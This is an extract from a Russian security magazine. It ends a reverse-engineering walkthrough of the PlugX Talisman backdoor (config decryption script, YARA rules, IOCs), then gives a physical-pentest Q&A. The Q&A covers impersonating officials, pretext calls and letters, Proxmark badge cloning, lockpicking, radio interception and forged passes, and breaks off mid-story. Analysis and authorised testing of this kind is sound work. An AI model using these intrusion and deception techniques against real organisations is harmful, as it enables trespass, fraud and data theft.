Сохраним полученный код, для этого щелкнем правой кнопкой мыши на регис тре ESI и выберем в открывшемся меню пункт «Перейти к карте памяти».
Карта памяти
Нажмем правую кнопку мыши, чтобы сохранить дамп в файл. Мы выгрузили основную нагрузку вредоно са . Чуть позже мы загрузим ее в IDA Pro и разберем функци ональ ность , а для начала посмотрим , что происхо дит после расшифров ки полезной нагрузки . В отладчике спускаем ся немного ниже (F8) и попадаем на формирова ние внутренней структуры вредоно са .
Формирова ние структуры PlugX Talisman
Спустимся до участка кода mov dword ptr ds:[esi],CF455089 и перейдем
к дампу по адресу в регистре ESI. Для этого наводим курсор на регистр [esi], нажимаем правую кнопку мыши и открываем дамп.
Компании Trellix и «Доктор Веб» описыва ли схожие структуры PlugX, но мы разберем их самостоятель но .
Описание структуры Talisman
Дамп памяти структуры Talisman
Первые 4 байта содержат значение 0xCF455089, которое является сигнатурой структуры . Размер конфигура ции Talisman равен 0x1924 байт, а зашифрован ный участок конфигура ции хранит ся по адресу 0x610013 (в твоем отладчике адрес будет отличать ся ).
Перей дем по адресу 0x610013, для этого нажмем правую кнопку мыши и в открывшемся меню выберем пункт «Перейти к дампу DWORD».
Содер жимое зашифрован ной конфигура ции PlugX Talisman
Скопиру ем полученное значение и сохраним в файл encrypt_talisman.txt.
Начало и конец конфигура ции Talisman
Мы нашли конфигура цию Talisman, теперь отыщем участок кода, который его расшифро вывает.
Для этого загрузим сохранен ный дамп полезной нагрузки PlugX Talisman в IDA Pro. Нам известно , что длина конфигура ции составля ет 0x1924 байт, а сигнатура конфигура ции имеет вид 0xCF455089. Найдем участок кода, где происхо дит сравнение сигнатуры и объема памяти конфигура ции.
В IDA Pro открываем вкладку Search → Sequence of bytes и вводим значение
0x1924.
Поиск количества байтов конфигура ции
Список найден ных участков кода сравнения объема конфигура ции
Перехо дим в функцию sub_100243A0 и находим сравнение сигнатуры Talisman, а также размера файла конфигура ции .
|
Участок кода расшифров ки структуры |
Talisman |
|
|||
Функция |
sub_1000A710, |
которую |
мы |
переиме нова ли |
||
в Decrypt_Config_Talisman, содержит |
участок кода расшифров ки структуры |
|||||
бэкдора . |
|
|
|
|
|
|
Алгоритм расшифров ки конфигура ции
Данный участок кода схож с модулем PlugX.38. Давай напишем на Python алго ритм расшифров ки конфигура ции , которую мы сохранили в файл encrypt_talisman.txt.
def DWORD(i):
return i & 0xFFFFFFFF
def LOBYTE(i):
return i & 0x000000FF
def dec(key, in_data):
k1 = k2 = k3 = k4 = key
result = bytearray()
for x in in_data:
k1 = DWORD(k1 + (k1 >> 3) - 0x11111111)
k2 = DWORD(k2 + (k2 >> 5) - 0x22222222)
k3 = DWORD(k3 + 0x33333333 - (k3 << 7))
k4 = DWORD(k4 + (0x44444444 - (k4 << 9)))
k = LOBYTE(k1 + k2 + k3 + k4)
result.append(ord(x) ^ k)
return result
f = open('encrypt_config.txt','r')
w = open('decrypt_config_talisman','wb')
encrypt_config = [chr(int(i,base=16)) for i in f.read().split(' ')
]
key = 0x4CB8B675
w.write(dec(key,encrypt_config))
f.close()
w.close()
Запус тив скрипт, мы получаем следующие значения .
Содер жимое конфигура ции PlugX Talisman
Размер конфигура ции составля ет 0x1924 байт, она содержит список панелей управления и C2-серверов (dhsg123.jkub.com). А вот и другие полученные нами полезные данные :
•домаш ний каталог вредоно са — %ALLUSERSPROFILE%\SymantecSNAC;
•мьютекс создава емого процес са — Global\ReStart0;
•целевой процесс , в который будет внедрять ся вредонос , —
%SystemRoot%\system32\nslookup.exe;
•имя отобража емой службы — SymantecSNAC;
•идентифика тор компании — TEST.
На текущем этапе мы расшифро вали конфигура цию PlugX Talisman, теперь раз берем основную нагрузку DLL PlugX, которую извлекли из памяти.
Анализи руя код основной нагрузки PlugX, можно обнаружить следующие используемые плагины , расположен ные в функции sub_1000B9F0.
Список плагинов вредоно са
После запуска полезной нагрузки вредонос создает следующие токены:
•SeDebugPrivilege — эта привиле гия позволя ет процес су подклю чаться к любому процес су или ядру как отладчик;
•SeTcbPrivilege — позволя ет процес су олицет ворить любого поль зователя без провер ки подлиннос ти, таким образом процесс может получить доступ к тем же локальным ресурсам , что и этот пользователь .
Далее вредонос создает основной поток, который называется bootProc.
Участок кода создания токенов
Также в основной нагрузке PlugX все функции Windows API вызываются динамичес ки на основе алгорит ма CRC32 от названий функций . Но в алгорит ме необходимо добавить завершающий нулевой байт. Алгоритм поиска фун кций представ лен ниже.
import zlib
f = open('list_ws2_32.txt','r')
m = ['0x49f9b50b','0xeaed580c']
for i in f:
h=hex(zlib.crc32(bytes(i.replace('\n',''),'utf-8')+b'\x00'))
if h in m:
print(i,h)
Разыме нова ние функции gethostbyname из библиоте ки ws2_32.dll
Разыме нова ние функции WSAIoctl библиоте ки ws2_32.dll
В ходе анализа мы расшифро вали файл SNAC.LOG, конфигура цию PlugX Talisman, в которой хранят ся сведения о C2-серверах , а также расшифро вали основную нагрузку PlugX: она представ ляет собой DLL, загружа емую в память процес са SNAC.exe.
СОЗДАНИЕ ПРАВИЛ
Давай создадим собствен ные правила YARA для детектирова ния процес са PlugX Talisman в памяти Windows, а также его поиска в файловой системе . Нам известен участок кода провер ки сигнатуры структуры Talisman, а также его раз мер. Этот код расположен в функции sub_100243A0 (полезной нагрузки PlugX). Восполь зуем ся для этих целей плагином mkYARA для IDA.
Наводим курсор мыши на участок кода и жмем правую кнопку , затем в открывшемся меню выбираем пункт mkyara → Generate Normal Yara Rule.
Плагин сгенери рует правило для определе ния сигнатуры 0xCF455089. Те же самые действия выполним на участке кода, в котором сравнива ется длина кон фигурации 0x1924. Сформиру ем следующее правило .
rule generated_rule
{
meta:
autor="rayhunt454"
hash = "C6C6162CCA729C4DA879879B126D27C0"
/*
0x10024421L 8138895045CF cmp dword ptr [eax], 0xcf455089
*/
/*
0x1002448aL 81781824190000 cmp dword ptr [eax + 0x18], 0x1924
*/
strings:
$chunk_1 = {
81 38 89 50 45 CF
}
$chunk_2 = {
81 78 ?? 24 19 00 00
}
condition:
$chunk_1 and $chunk_2
}
Теперь разработа ем правило для поиска вредоно са в файловой системе . Будем детектировать загрузчик , в нашем случае это файл WGXMAN.dll.
При анализе файла WGXMAN.dll мы обнаружи ли скрытую строку SNAC.LOG, а также файл c отладоч ной информацией . На основе этих сведений сформиру ем правило .
rule Plugx_WGXMAN
{
meta:
autor="rayhunt454"
hash = "B4F12A7BE68D71F9645B789CCDC20561"
strings:
$snac = "SNAC.LOG" wide ascii
$pdb = "sesagent70\\snac_build\\bin.ira\\wgxman.pdb"
nocase
condition:
$snac and $pdb
}
Протес тируем разработан ные сигнатуры . Для этого восполь зуемся утилитой
YaraEditor. Откроем вкладку Test → Test items, нажмем кнопку Folder и выберем каталог, в котором расположе ны вредонос ные модули. Нажмем на кнопку Process и выберем процесс SNAC.exe. После нажатия на кнопку Scan items YaraEditor начинает искать строки .
Детект модуля в памяти Windows
Определе ние файла WGXMAN.dll
Мы научились разрабаты вать сигнатуры для поиска вредоно са в файловой сис теме и памяти Windows. В результате исследова ния мы сформирова ли сле дующие IOCs: мьютекс Global\ReStart0, управляющий сервер dhsg123[.] jkub[.]com, а также контроль ные суммы исследуемых файлов .
Для поиска в файловой системе вредонос ных файлов на основе IOCs можно использовать ути литу Loki Scanner, в которую есть возможность добавлять правила YARA, хеш суммы модулей, а также мьютексы .
ВЫВОДЫ
Мы научились исследовать вредонос ные файлы и разрабаты вать собствен ные правила их детектирова ния . Процесс реверса очень долгий и иногда неп ростой: необходимо использовать несколь ко инстру мен тов для поиска нужных вирусному аналити ку участков кода. Для создания более гибких правил YARA приходит ся исследовать множес тво схожих вредоно сов и находить идентичные участки кода. Перед тем как приступать к глубоко му изучению образца, надо провес ти первичный анализ файлов , найти в них интерес ные строки , а также проверить их на наличие упаков щиков и крипторов .
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ОТВЕЧАЕМ НА ВОПРОСЫ БУДУЩИХ
ВЗЛОМЩИКОВ В БЕЛОЙ ШЛЯПЕ
В пентестер ском комьюни ти не так уж час то разбира ют тему физической безопас ности объектов , на которых расположе ны интересу ющие нас серверы . А зря! При анализе векторов атаки не стоит забывать и о возможнос ти физического проник новения , а не только о «бруте хешей паролей». В этой статье мы ответим на самые животрепещу щие вопросы , свя занные с физическими пентеста ми , а еще я поделюсь историей одного такого про екта.
r00t_ owl
Ведущий специалист компании «Информзащита», в свободное время преподаю в онлайн-школе
CyberEd parkour48@mail.ru
В ЧЕМ ОТЛИЧИЕ «ФИЗИЧЕСКОГО ПЕНТЕСТА» ОТ КРАЖИ СО ВЗЛОМОМ?
Все, что ты делаешь , должно выполнять ся строго согласно договору , сос тавленному вашей организа цией и заказчиком . Учти, что любые отклонения от методологии проведе ния работ или импровиза ция могут повлечь за собой
серьезные неприят ности, в том числе примене ние физической силы сотрудни ками соответс твующих структур .
КАКИЕ НУЖНЫ ДОКУМЕНТЫ?
Имей в виду, что все твои действия (практичес ки каждый шаг) должны быть прописа ны в методологии физического пентеста . Согласова ние такого документа , как правило , занимает не один день, в него постоян но вносят прав ки тестиру емая организа ция и юристы с обеих сторон .
Чаще всего руководитель проекта также подготовит пакет документов , который будет в полной мере подтверждать твою личность . Стандар тный набор обычно состоит из копии паспорта , заверенной копии трудово го догово ра, документа с названи ем и серийным номером носимой техники (ноутбук , смартфон , Proxmark и прочее ) и справки , что у тебя нет судимости .
В зависимос ти от рода деятельнос ти проверя емой организа ции может пот ребоваться предваритель но оформить разные допуски , а также пройти инс труктаж по технике безопасности . Делается это в первый день прибытия на тестиру емый объект .
О ЧЕМ НУЖНО ПРЕДУПРЕДИТЬ ЗАКАЗЧИКА?
Понят но , что неосведом ленность сотрудни ков о предсто ящих работах — это одно из необходимых нам условий . Исключени ем может быть разве что начальник службы информацион ной безопасности . Увы, эти условия выпол няются не всегда , что повышает сложность нашей задачи.
Однако «грязно сыграть » можешь и ты сам, применив методы социаль ной инженерии и договорив шись с кем то из сотрудни ков организа ции заказчика . Такой «договорняк » может, наоборот , упростить достижение целей аудита . Подобные методы социаль ного взаимо дей ствия с персоналом заранее опи сать и обговорить невозможно : универ саль ного подхода к решению задач такого характера не существу ет .
Поэто му доля импровиза ции все же будет присутс твовать, о чем стоит ска зать контак тному лицу проверя емой организа ции (тому самому начальнику службы ИБ).
КАКИЕ МОГУТ ВОЗНИКНУТЬ ТРЕНИЯ С ПРАВООХРАНИТЕЛЬНЫМИ ОРГАНАМИ?
Важно помнить , что силовые структуры практичес ки всегда придер жива ются определен ных правил и регламен тов , поэтому попытки вступить в спор или разжечь конфликтную ситуацию ничем хорошим не кончатся . Посколь ку наши работы проводят ся абсолют но легально , нет смысла активно сопротив ляться . Твоим главным оружием должны быть подвешен ный язык и знание законов, умелое бравиро вание которым может заставить сотрудни ка физичес кой безопасности засомневать ся в правиль нос ти своих действий (опять спа сает социалоч ка ). Но ты должен всегда помнить о собствен ной ответствен ности за совершенные действия и понимать риски отклонения от согласован ной методологии .
ЧТО, ЕСЛИ Я ПОПАДУСЬ?
Успешным проектом можно считать тот, где ты выполнил все поставлен ные задачи и при этом не спалил ся . Но бывает , что какой то сотрудник организа ции проявля ет бдитель ность и сообщает о подозритель ном лице (то есть о тебе) службе безопасности , за чем может последовать задержание .
Именно на этом этапе можно провес ти границу между законными действи ями и теми, которые влекут за собой уголов ную ответствен ность . После задер жания тебя, скорее всего , отправят в «комнату ожидания ». Затем кто то из сотрудни ков службы безопасности задаст несколь ко вопросов , которые помогут ему понять, кто ты такой и что за работы проводишь .
Это самый подходящий момент, чтобы предъявить папку с пакетом документов , которые подтвер дят твою личность и докажут, что твоя цель — анализ защищенности компании , а не какая то диверсия или, например , про мышленный шпионаж в пользу компании конкурен та.
С ЧЕГО СТОИТ НАЧИНАТЬ?
Физичес кий |
пентест |
можно разделить |
на два этапа — подготов ка и реали |
||||||||||||||||||||||||||
зация, то есть разведка |
и проник новение . Во время разведки |
мы изучаем |
|||||||||||||||||||||||||||
внешний и внутренний |
периметр объекта , анализи руем |
обнаружен |
ные |
слабые |
|||||||||||||||||||||||||
места , решаем , какими путями будем проникать |
внутрь. |
|
|
|
|
|
|
|
|
||||||||||||||||||||
Далее действу ем методами социаль ной |
инженерии . Ищем способ |
сделать |
|||||||||||||||||||||||||||
копию электрон |
ного |
|
пропус ка либо выдаем себя за работника |
обслужива юще |
|||||||||||||||||||||||||
го персонала |
(инженер , уборщик , охранник), соискателя |
на вакансию , курьера |
|||||||||||||||||||||||||||
и так далее. В общем, за того, кого пропус тят на территорию |
без лишних |
||||||||||||||||||||||||||||
подозрений . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
Чем тщатель |
нее |
ты подойдешь |
к этапу разведки , тем более убедитель |
ную |
|||||||||||||||||||||||||
личность |
сможешь |
изобразить |
. Здесь придет ся подумать о многих вещах, |
||||||||||||||||||||||||||
начиная от легенды и заканчивая |
одеждой и сопутству ющи ми документами . |
|
|||||||||||||||||||||||||||
Второй |
этап — непосредс твен |
но проник новение . На этом этапе нам пред |
|||||||||||||||||||||||||||
стоит преодо леть |
физическую |
защиту при помощи |
|
техничес ких |
средств |
||||||||||||||||||||||||
и базовых инстру мен тов медвежат |
ника . Скорость |
и сноров ка приобре тают |
ся |
||||||||||||||||||||||||||
с опытом , то есть с каждым |
выполненным |
проектом |
. Ни один учебник , статья |
||||||||||||||||||||||||||
или лекция |
не прибавят |
тебе уверен ности |
|
в действи ях , |
особен но когда речь |
идет о работе, где уровень адренали на значитель но выше нормы . Самооб ладание здесь — самое важное . Умение грамот но составить леген
ду и уверен но обманывать персонал помогут пройти в критичес ки важные помещения и, что еще важнее , уйти, не вызвав подозрений .
КАК ПРОВОДИТЬ РАЗВЕДКУ?
Прийти на объект и изучить :
•Полом ки или дырки в загражде ниях.
•Исполь зуемые для транспор тировки сырья и отходов железнодорож ные пути. Если нет дополнитель ных загражде ний, можно попробовать пройти по ним пешком .
•Подземный паркинг . Он нередко позволя ет попасть в бизнес центр минуя проход ную.
•Всевоз можные места выгрузки и погрузки . Через них тоже можно обойти проход ную. Если такие зоны закрыты или не используют ся, то, как правило , они заперты на простые замки , вскрытие которых не представ ляет проб лем.
•Техничес кие помещения . Все остальные зоны, не попавшие в пункты выше, но также позволя ющие миновать провер ку пропус ка.
•Крыши и чердаки . Конечно , если удастся обнаружить пожарную лестни цу или забрать ся без нее.
КАК ПОМОГАЕТ СОЦИАЛЬНАЯ ИНЖЕНЕРИЯ?
OSINT, или разведка по открытым источникам — разведыва тель ная дисципли на, включающая в себя поиск, выбор и сбор разведыва тель ной информации из общедос тупных источников , а также ее анализ .
Первым делом нам нужно получить сведения о сотрудни ках компании . Мы выясняем почты , телефоны , аккаунты в социаль ных сетях, мессен дже рах и прочее .
Собрать нужно следующее :
•адреса электрон ных почт сотрудни ков;
•докумен ты — примеры договоров , штатное расписание и прочее в таком духе;
•расположе ние организа ции;
•планы зданий и сооружений ;
•месторас положение пропус кных пунктов , камер видеонаб людения и постов охраны .
КАКОЙ СОФТ ОБЛЕГЧАЕТ СБОР ДАННЫХ?
В первую очередь — поисковики , в том числе со всякими хитрыми запросами , которые называют Google Dorks. Подробнее о них читай в статьях «Google как средство взлома » и «Исполь зуем малоизвес тные функции Google, чтобы найти сокрытое ».
Также добавляй в закладки :
•Google Hacking — помогает составлять дорки ;
•intelx.io и snov.io — бесплат ные сервисы , которые помогают искать чувстви тельные данные вроде паролей, поддоменов , электрон ных почт и прочего ;
•Internet Archive — позволя ет отмотать сайт назад к прошлым версиям . Воз можно, получится найти удален ную или скрытую в новых версиях информа цию;
•OSINT Telegram-боты («Глаз бога» и иже с ним) — вводим имеющуюся у нас инфу (почтовый ящик, телефон, странич ка в ВК) и получаем все, что есть в базе бота. Например , адреса , телефоны , социаль ные сети, данные пас порта, объявле ния;
•Harvester — интерес ный инстру мент для Linux, который собирает имена , электрон ные почты , IP-адреса , поддомены и URL-адреса , используя зап росы ко множес тву открытых ресурсов ;
•уличные камеры. Их, к примеру , агрегиру ют Яндекс Карты . Там же могут найтись и ссылки на планы зданий ;
•сайты для поиска работы вроде HeadHunter. Если там найдут ся резюме известных нам сотрудни ков IT-подразде ления, мы сможем как минимум узнать о стеке технологий , с которыми они работают .
КАК СОСТАВЛЯТЬ ПИСЬМА ДЛЯ РАЗВЕДКИ?
Можешь предста виться, например , сотрудни ком дочернего предпри ятия, сот рудником службы информацион ной безопасности или же рабочим подрядной организа ции. В общем, тем, от кого следующие дальше вопросы прозвучат убедитель но. Целью вопросов будет получить информацию о предпри ятии, сетевом оборудо вании, версиях операци онных систем , програм много обес печения и так далее.
Так как рассылать письма , возможно , придет ся массово , тут нам может пригодить ся фреймворк Gophish, который позволя ет делать массовую рас сылку, отслеживать получение писем, открытие вложен ных файлов и переходы по ссылкам внутри письма .
Например , можно написать письмо в компанию , которая располага ется
водном здании с проверя емой, и попросить оформить времен ный пропуск :
«Добрый день!
Моя компания заинтересо вана в ваших услугах . Для уточнения деталей
возможной |
сделки мне необходимо |
встретить ся с вашим предста вите - |
|
||||||
лем. Прошу выписать времен ный |
пропуск |
в бизнес центр. Удостоверя |
- |
» |
|||||
ющие личность |
документы приложе |
ны файлом к письму . |
|
||||||
|
|
||||||||
С уважени ем , Зайцев Егор, предста витель |
VIP Holiday |
|
|
НЕЛЬЗЯ ЛИ ПРОСТО ПОЗВОНИТЬ?
Конеч но, можно , а иногда даже лучше , чем писать письма ! Вживую у твоего собеседника будет меньше времени на сомнения , а у тебя появится шанс блеснуть актерским мастерс твом.
Звонишь в компанию и представ ляешься, например , сотрудни ком IT-фир мы, обеспечива ющей техничес кую поддер жку програм много обеспечения или оборудо вания организа ции. Прикрыва ясь легендой о починке и настрой ке, выведываешь информацию об инфраструктуре объекта .
Я предста вился одним из управляющих в ФСТЭК (Федеральная служба по тех ническому и экспортному контро лю) и сообщил , что в данный момент мы про водим сверку предос тавленных данных по объектам инфраструктуры .
У начальников цехов, заместителей начальников цехов, начальников сек торов, админис траторов я выспра шивал:
•каков порядок получения наряда допуска , если он необходим ;
•где расположе ны критичес кие узлы;
•стоят ли замки и сигнализа ция на серверных шкафах ;
•сущес твуют и оформле ны ли матрицы доступа ;
•сущес твуют и оформле ны ли реестры автомати зированных систем (АСУ ТП).
Для подтвержде ния правиль ности сведений я иногда просил выслать на почту проектную документацию .
Что до рядовых сотрудни ков, то у них можно спросить , есть ли локальные хранили ща данных , а если есть, то где, а также выяснить график работы.
КАКИЕ ЕЩЕ ЕСТЬ СПОСОБЫ ПРОВЕСТИ РАЗВЕДКУ?
Можно попробовать изобразить , что ты соискатель на какую то вакансию , и прийти на собеседова ние .
Так можно будет выяснить массу полезной информации о предпри ятии , его инфраструктуре , типе систем контро ля доступа (СКУД), особен ностей работы. По возможнос ти стоит постарать ся скопиро вать электрон ный пропуск , исполь зуя приблуду типа Proxmark.
На собеседова нии можно попросить провес ти обзорную экскурсию и таким образом получить дополнитель ную информацию о расположе нии объектов тестирова ния, наличии камер наблюдения и прочего . Параллель но оценива ем замки на сложность взлома , расположе ние и тип пропус кных зон, а также сос тавляем психоло гический портрет персонала , чтобы знать, как себя лучше вес ти при непосредс твенном проник новении.
Я предста вил ся специалис том , претен дующим на вакансию в департамент ИТ поддер жки . В конце интервью, как правило , соискателю предлага ют задать уточняющие вопросы о компании , поэтому я выяснил :
•технологии , с которыми нужно будет работать;
•контакты курирующих сотрудни ков (люди, которые помогают новичку адап тироваться и втянуть ся в работу);
•способ получения времен ного пропус ка для прохож дения обзорной экскур сии.
По мере накопления опыта ты сам начнешь чувство вать , какие тактики в каких случаях лучше срабаты вают . То, что я описал , — это лишь вектор для даль нейших действий .
КАК ПРОНИКНУТЬ НА ОБЪЕКТ?
Проник нуть можно либо через уязвимые места периметра , о которых я уже говорил, либо методами социаль ной инженерии . Ищем способ сделать копию электрон ного пропус ка либо выдаем себя за работника обслужива юще го пер сонала (инженер , уборщик , охранник), соискателя на вакансию , курьера или еще кого то, кого пропус тят не территорию без подозрений .
КАК КЛОНИРОВАТЬ БЕЙДЖ?
Чтобы клониро вать бейдж , открывающий двери , обычно используют Proxmark — устройство для анализа , чтения и клониро вания меток RFID.
Сущес твует пять популярных вариаций Proxmark:
•Proxmark3;
•Proxmark3 Easy (V3.0);
•Proxmark3 RDV2;
•Proxmark3 EVO;
•Proxmark3 RDV4.
Хотя последние версии более наворочен ные , возможнос тей даже самой пер вой вполне достаточ но для наших задач.
Потребу ется также установить драйверы , чтобы твой ноутбук смог увидеть устройство , и утилиту Proxmark. При помощи утилиты ты можешь управлять устройством — считывать информацию с карт и записывать ее на карты бол ванки.
Имей в виду, что дальность действия гаджета ограничен на. Он может счи тать карту на рассто янии до 15 см в идеаль ных условиях .
Докумен тация Proxmark3
КАКИЕ БОЛВАНКИ НУЖНЫ ДЛЯ ПРОПУСКОВ?
Разные пропус кные системы могут применять разные типы RFID-болванок . Есть два основных типа меток RFID — низкочас тотные и высокочас тотные :
•низкочас тотные (125 кГц) имеют большую дальность чтения , используют ся в примитив ных системах контро ля доступа : на предпри ятиях, в офисных пропус ках, абонемен тах в спортзал , домофонах и так далее;
•высоко частотные (13,56 МГц) имеют меньшую дальность работы по срав нению с низкочас тотными, используют ся в бесконтак тных банков ских кар тах, проездных билетах, безопасных пропус ках.
ПРИДЕТСЯ ЛИ ИСПОЛЬЗОВАТЬ ОТМЫЧКИ?
Отмычки , безусловно , пригодят ся . Для взлома как дверных замков , так и зам ков на серверных шкафах и защищенных панелях ПК. Возможно , даже придет ся снимать блокира торы на портах USB и Ethernet.
До «боевого вылета» настоятель но советую попракти ковать ся на учебных зам ках, разные виды которых можно найти в интернет магазинах . Очевид но , что скорость вскрытия напрямую зависит от опыта и общего понимания уязвимос ти замков . А так как время на объекте часто работает против нас, долгое копание с замком может «спалить контору » и плачев но сказать ся на резуль татах всей провер ки . Еще и по почкам от охраны можно огрести, пока будешь искать бумажку с разрешени ем начальника организа ции на проведе ние про верки . Так что не ленись! Закупи несколь ко разных видов замков и качай скилл дома в тепле .
Подробнее о локпикин ге читай в статье «LockPick. Какие бывают типы замков и почему все их можно вскрыть».
КАК СНИЗИТЬ РИСК БЫТЬ ПОЙМАННЫМ?
Чтобы тебя не изловила охрана , будет крайне полезно знать, о чем охранники говорят по рации. Для перехвата радиосиг нала существу ет отличный девайс — HackRF One. С его помощью на этапе разведки ты можешь перехватить час тоту, на которой работают рации охранников , и почерпнуть из их разговоров массу полезной информации : маршру ты патрулиро вания , расписание перес
менок и так далее. Но самое важное — контроль скрытности наших действий . Как только слышим переговоры о каком то сомнитель ном хмыре , рыскающем по территории , делаем вывод, что пора сваливать или прятать ся .
Для работы с гаджетом тебе понадобит ся утилита SDRSharp.
1.Идем на сайт разработ чика и скачива ем архив sdrsharp-x86.zip.
2.Создаем на диске папку с названи ем sdrsharp и распаковы ваем туда наш архив. В распакован ной папке находим файл install-rtlsdr.bat и запускаем его. На экране появится командная строка , которая автомати чески закроет
ся в течение несколь ких секунд. В папке появятся файлы rtlsdr.dll
иzadig.exe.
3.Если эти файлы не появились — попробуй на время установ ки отключить антивирус и повтори перечисленные выше действия .
4.Подклю чаем SDR-приемник по USB и запускаем файл Zadig.exe (от имени админис тратора!). Нажимаем Options, ставим галочку в строке List All Devices.
5.В строке Device выбираем Bulk-In, Interface (Interface 0). Могут выпадать
идругие устройства , такие как RTL2832U или RTL2832UHIDIR, их тоже мож
но выбирать. В строке Driver после зеленой стрелки должно стоять WinUSB,
встроке USB ID — 0BDA 2838 00.
6.Жмем кнопку Replace Driver, игнориру ем системное сообщение с предуп реждением , жмем «Установить ».
7.В папке с распакован ной программой SDRSharp находим и запускаем файл SDRSharp.exe. После запуска программы под строкой Source нажимаем на треуголь ник выбора устройств . Выбираем наше устройство RTLSDR(USB).
8.Устрой ство выбрано — теперь нажимаем шестерен ку вверху слева . Далее выходит окошко RTL-SDR Controller — задаем следующие параметры :
•необхо димую частоту ;
•тип модуляции — WFM;
•Sample Rate — 2048 MSPS;
•RTL AGC — включаем ;
•ползунок регулировать в районе 20 дБ по ситуации .
9. Нажима ем |
кнопку Play слева вверху . Программа |
запущена и готова |
к работе. |
|
|
КАКИЕ ЕЩЕ ИНСТРУМЕНТЫ МОГУТ ПРИГОДИТЬСЯ?
Простор |
для фантазии |
здесь огромный. Например , ловко |
установ ленная |
||||||||||||||||||||||||||||
на этапе разведки |
скрытая камера поможет тебе в наблюдении |
и анализе |
|||||||||||||||||||||||||||||
обстанов ки . Может пригодить |
ся и квадрокоп |
тер — с его помощью ты узнаешь |
|||||||||||||||||||||||||||||
много нового о конструк ции |
и особен ности |
здания , найдешь |
пожарные |
лес |
|||||||||||||||||||||||||||
тницы , техничес кие люки и чердаки . Можешь заприметить |
и камеры с постами |
||||||||||||||||||||||||||||||
охраны , но помни , что и они твой агрегат тоже заметят. |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
Еще тебя может выручить поддель |
ный |
пропуск |
. Сделать |
качествен |
ный |
про |
|||||||||||||||||||||||||
пускной |
документ несложно . В интернете полно шаблонов |
на любой вкус: |
|||||||||||||||||||||||||||||
начиная от работника |
СМИ и заканчивая |
сотрудни ком |
подрядной |
организа ции . |
|||||||||||||||||||||||||||
Для большей |
убедитель |
нос ти на них можно наклеить |
соответс тву ющие |
голог |
|||||||||||||||||||||||||||
раммы — они тоже продают |
ся . Более «мягкий » вариант — подделка |
бейджа |
|||||||||||||||||||||||||||||
сотрудни ка . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Опять же понимание |
того, какие средства будут полезными , а на какие ты |
||||||||||||||||||||||||||||||
только зря потратишь |
время и силы, придет с опытом . Иногда действи тель |
но |
|||||||||||||||||||||||||||||
нужен целый |
рюкзак |
всякого |
барахла , но может не пригодить |
ся вообще |
|||||||||||||||||||||||||||
ничего, кроме ноутбука |
и вежливой |
улыбки . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
ПРИМЕР ПРОНИКНОВЕНИЯ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
Все бумаги были подписаны |
, разрешения |
получены , и в день проник новения |
я |
||||||||||||||||||||||||||||
вошел в централь |
ный |
вход бизнес центра , успешно миновал проход ную |
бла |
||||||||||||||||||||||||||||
годаря скопиро ван ному |
|
ранее пропус ку и направил ся к офису заказчика . |
|
|
|
|
|||||||||||||||||||||||||
Как уточнялось |
в ТЗ, вход в офис регулировал ся отдельной картой , которой |
на тот момент у меня не было. Так что я просто достал телефон и начал ими тировать деловую беседу в ожидании , что кто нибудь откроет нужную мне дверь. Минут через пять один из сотрудни ков компании заказчика наконец соизволил пройти в нужный офис и позволил мне прошмыгнуть за ним. Кстати , для метода следова ния по пятам легитимного сотрудни ка в нужные помеще ния даже есть специаль ный термин — tailgating.
Внутри офиса большая часть помещений была открыта , и я начал заходить во все подряд . Через какое то время один из сотрудни ков, увидев посторон него человека в помещении , спросил , чем я тут, собствен но говоря, занима юсь. Для успокоения бдитель ного работника я расска зал заранее заготов ленную легенду о том, что я инженер и настра иваю сетевое оборудо вание. Этого оказалось достаточ но, и больше никто из сотрудни ков не обращал на меня внимания .
Моему взору предста ли рабочие столы сотрудни ков с беспечно лежащими на них печатями , USB-токенами , множес тво документов и жестких дисков (потенциаль но содержащих конфиден циаль ную информацию ). Ай яй яй!
За время осмотра офиса я также подметил , что одна из дверей закрыта на электрон ный замок. Зато прилега ющее к ней помещение было открыто
и пустовало . Когда я туда заглянул , выяснилось , что от запертой комнаты меня отделяет лишь невысокая перегород ка , через которую я невозмутимо перелез. Внутри было несколь ко работающих компьюте ров , один из которых не был заблокиро ван . Открыв на нем браузер , я смог увидеть все сохранен ные пароли, получил возможность изучить всю личную и внутреннюю переписку , а также запустить корпоратив ную программу , работа с которой может повлиять на бизнес процес сы компании .
Закон чив осмотр офиса , я отправил ся на разведку по коридорам и нашел серверную . Дверь была заперта , но я постучал , и мне открыл админ, который
не был предуп режден |
о провер ке . Я вежливо |
предста вил ся инженером |
